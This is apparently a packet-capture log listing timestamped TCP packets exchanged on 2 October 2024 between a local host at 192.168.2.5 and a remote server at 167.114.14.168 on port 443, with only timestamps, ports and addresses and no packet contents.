Oct 2, 2024 06:10:23.902561903 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.902599096 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.911482096 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.911498070 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.911544085 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.911550045 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.911590099 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.912100077 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.912113905 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.912167072 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.912173986 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.912213087 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.912698030 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.912713051 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.912765026 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.912771940 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.912811995 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.919282913 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.919297934 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.919467926 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.919476032 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.919523954 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.920137882 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.920152903 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.920217991 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.920224905 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.920265913 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.989804983 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.989820004 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.989902973 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.989911079 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.989957094 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.991485119 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.991501093 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.991554022 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.991559029 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.991610050 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.992654085 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.992670059 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.992723942 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.992731094 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.992774963 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.003505945 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.003521919 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.003592968 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.003601074 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.003644943 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.003972054 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.003987074 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.004045010 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.004051924 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.004091978 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.007287025 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.007307053 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.007365942 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.007373095 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.007411003 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.015296936 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.015312910 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.015407085 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.015414000 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.015456915 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.016922951 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.016937971 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.016997099 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.017003059 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.017043114 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.078481913 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.078500986 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.078562975 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.078573942 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.078614950 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.080085039 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.080100060 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.080161095 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.080168009 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.080205917 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.081150055 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.081166029 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.081233025 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.081239939 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.081279039 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.091744900 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.091763973 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.091809034 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.091815948 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.091844082 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.091860056 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.092380047 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.092396021 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.093189955 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.093198061 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.093274117 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.095921040 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.095951080 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.095995903 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.096012115 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.096040964 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.096065998 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.104190111 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.104207993 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.104279995 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.104290962 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.104336023 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.104773045 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.104789972 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.104849100 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.104856014 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.104912043 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.167038918 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.167054892 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.167115927 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.167129040 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.167159081 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.167186975 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.168592930 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.168608904 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.168670893 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.168678045 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.168720961 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.169688940 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.169704914 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.169766903 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.169773102 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.169816971 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.180346012 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.180362940 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.180428028 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.180434942 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.180489063 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.180802107 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.180835009 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.180907965 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.180915117 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.180964947 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.184266090 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.184283018 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.184324026 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.184329987 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.184366941 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.184391975 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.192223072 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.192246914 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.192297935 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.192306995 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.192337990 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.192362070 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.193124056 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.193140030 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.193192005 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.193198919 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.193242073 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.255609035 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.255625963 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.255732059 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.255740881 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.255794048 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.256968021 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.256993055 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.257173061 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.257179976 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.257229090 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.258188009 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.258203030 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.258274078 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.258280039 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.258331060 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.269237995 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.269254923 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.269467115 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.269474983 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.269491911 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.269541979 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.269582987 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.272789001 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.272803068 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.272866011 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.272874117 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.280961990 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.280982018 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.281070948 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.281080961 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.281837940 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.281852007 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.281919003 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.281928062 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.335709095 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.344053030 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.344069004 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.344147921 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.344155073 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.344204903 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.345510006 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.345527887 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.345580101 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.345586061 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.345628023 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.346662998 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.346678019 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.346730947 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.346736908 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.346786022 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.357702971 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.357721090 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.357810020 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.357819080 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.357867956 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.358114004 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.358129025 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.358195066 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.358201027 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.358248949 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.361372948 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.361387014 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.361444950 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.361453056 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.361495972 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.369508982 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.369523048 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.369597912 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.369606018 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.369645119 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.370379925 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.370394945 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.370457888 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.370465040 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.370501041 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.432878017 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.432892084 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.432995081 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.433006048 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.433063984 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.434125900 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.434140921 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.434201956 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.434209108 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.434258938 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.435250044 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.435273886 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.435316086 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.435322046 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.435347080 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.435365915 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.446140051 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.446154118 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.446213961 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.446222067 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.446264029 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.446634054 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.446655989 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.446695089 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.446702003 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.446722984 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.446741104 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.461949110 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.461963892 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.462023973 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.462032080 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.462084055 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.462317944 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.462332964 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.462390900 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.462399006 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.462441921 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.462769985 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.462785006 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.462836981 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.462843895 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.462878942 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.521452904 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.521472931 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.521595001 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.521605968 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.521660089 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.522608042 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.522624016 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.522691965 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.522697926 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.522746086 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.523977041 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.523998022 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.524066925 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.524075031 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.524116993 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.534759045 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.534776926 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.534853935 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.534867048 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.534909964 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.535188913 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.535204887 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.535259962 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.535265923 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.535310984 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.538619041 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.538634062 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.538693905 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.538702011 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.538743973 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.546850920 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.546868086 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.546928883 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.546936035 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.546978951 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.547838926 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.547853947 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.547914028 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.547921896 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.547970057 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.610033989 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.610052109 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.610140085 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.610148907 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.610199928 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.611393929 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.611409903 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.611469030 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.611476898 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.611520052 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.612483025 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.612498999 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.612550020 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.612556934 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.612602949 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.623399973 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.623414993 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.623471022 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.623478889 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.623522043 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.623833895 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.623848915 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:24.623898983 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:24.623907089 CEST	443	49715	167.114.14.168	192.168.2.5
